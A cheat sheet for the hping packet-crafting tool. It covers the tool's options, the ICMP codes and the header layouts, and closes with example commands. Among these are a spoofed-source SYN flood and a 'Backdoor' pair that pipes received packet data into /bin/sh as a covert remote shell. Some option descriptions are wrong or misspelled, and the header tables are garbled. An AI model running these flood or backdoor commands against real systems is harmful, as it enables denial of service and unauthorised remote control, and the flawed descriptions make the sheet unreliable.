

**BASE OPTIONS**

**-q --quiet**            **-v --version**  
**-I --interface**       **-V --verbose**  
**-D --debug**  
**-c --count**        count response packets  
**-i --interval**      secs or μsecs with **u** [1]  
**--beep**            beep every received packet (no icmp)  
**-n --numeric**       don't resolv  
**-z --bind**          use ctrl+z to increment TTL  
**-Z --unbind**  
**--fase**            10 packets / sec  
**--master**          1 packet / μs  
**--flood**            as fast as possible

**COMMON OPTIONS**

**-d --data**          datalize packet body size  
**-E --file**          insert into packet's data  
**-e --sign**          signature lenght  
**-j --dump**          received packets in hex  
**-J --print**          dump in printable char  
**-B --safe**          lost pkcts will be resend  
**-u --end**          send EOF when --file  
**-T --traceroute**    traceroute mode, also:  
**--tr-keep-ttl**      keep TTL fixed  
**--tr-stop**          exit on first not time icmp exceed  
**--tr-no-rtt**        dont show RTT  
**--tcpexitcode**     set exit code to tcp→th\_flag of last packet

**IP RELATED OPTIONS**

**-a --spooF**          hostname  
**--rand-source**  
**--rand-dest**        host accepts X as wildcard  
**-t --ttl**            set ttl value  
**-N --id**            ip id [random]  
**-H --ipprot**        ip protocol in raw ip mode  
**-W --winid**        display id replies from win  
**-r --rel**            id increments  
**-f --frag**          split packets, [16bytes]  
**-x --morefrag**     send ICMP time-exceeded  
**-y --dontfrag**     perform PDMTU  
**-g --fragoff**      fragment offset value  
**-G --rroute**        includes RECORD\_ROUTE  
**-m --mtu**           value  
**-o --tos**            set type of service, on hex

**ICMP RELATED OPTIONS**

**-C --icmptype**      default [echo]  
**-K --icmpcode**     ICMP code [0]  
**--icmp-ipver**       ip version [4]  
**--icmp-iphlen**     ip header length [5]  
**--icmp-iplen ip**    packet lenght [real len]  
**--icmp-ipid**        set ip id [rand]  
**--icmp-ipproto**    set ip protocol [tcp]  
**--icmp-cksum**     set checksum [valid]  
**--icmp-ts**          timestamp req  
**--icmp-addr**        mask req

**TCP/UDP RELATED OPTIONS**

**-s --baseport** [random],+1 on received  
**-p --destport** [0] if have, have:  
**+port**            increased for each reply  
**++port**           increased for each sent  
**--keep**            still source port  
**-w --win**          set win size [64]  
**-O --tcpoff**       **-b --badchksum**  
**-M --setseq**       **-L --setack**  
**-Q --seqnum**       collect seq numbers  
**--tcp-timestamp** set timestamp

**TCP FLAGS**

**-F --fin**        **-S --syn**   **-R --rst**  
**-P --push**      **-A --ack**   **-U --urg**  
**-X --xmas**      **-Y --ymas**

**PROTOCOL SELECTION**

**-0 --rawip**      **-1 --icmp**   **-2 --ucp**  
**-8 --scan** with:  
*group ex:* 20-53  
*comma delimited ex:* 1,3,4  
*known:* for /etc/services  
*negated with !ex:* !1-53,!4  
**-9 --listen** string match

**ICMP CODES**

- 0 Echo Reply
- 1 Unassigned
- 2 Unassigned
- 3 Destination Unreachable
- 4 Source Quench
- 5 Redirect
- 6 Alternate Host Address
- 7 Unassigned
- 8 Echo
- 9 Router Advertisement
- 10 Router Selection
- 11 Time Exceeded
- 12 Parameter Problem
- 13 Timestamp
- 14 Timestamp Reply
- 15 Information Request
- 16 Information Reply
- 17 Address Mask Request
- 18 Address Mask Reply
- 19 Reserved (for security)
- 20-29 Reserved (Experimental)
- 30 Traceroute
- 31 Datagram Conversion Error
- 32 Mobile Host Redirect
- 33 IPv6 Where-Are-You
- 34 IPv6 I-Am-Here
- 35 Mobile Registration Request
- 36 Mobile Registration Reply
- 37 Domain Name Request
- 38 Domain Name Reply
- 39 SKIP
- 40 Photuris
- 41-255 Reserved

[?]: default value



**Uptime:** hping2 -p 80 -S --tcp-timestamp host  
**PortScan:** hping -I eth0 --scan 20-25,80,443 -S host  
**Synflood:** hping -p 80 -i u10000 -a source -S host  
**Backdoor:** S → hping3 -I eth1 -9 secret | /bin/sh  
                  C → hping3 -R ip -e secret -E command file -d 100 -c 1

TCP	0										1										2										3																																							
	Source Port					Destination Port					Sequence Number					Acknowledgment Number					Data Offset					Reserved					cwr					ecn					urg					ack					psh					rst					syn					fin				
	Checksum										Urgent Pointer										Options										Padding																																							
	Data																																																																					

IP	0										1										2										3									
	Version				IHL				TOS/DSCP/ECN				Total Length				Identification				Flags				Fragment Offset															
	Time To Live				Protocol				Source Address				Header Checksum				Destination Address																							
	Options										Padding																													

UDP	0										1										2										3									
	Source Port					Destination Port					Length					Checksum					Data																			

ICMP	0										1										2										3									
	Version				IHL				TOS/DSCP/ECN				Total Length				Identification				Flags				Fragment Offset															
	Time To Live				Protocol				Source Address				Header Checksum				Destination Address																							
	Type				Code				Checksum																															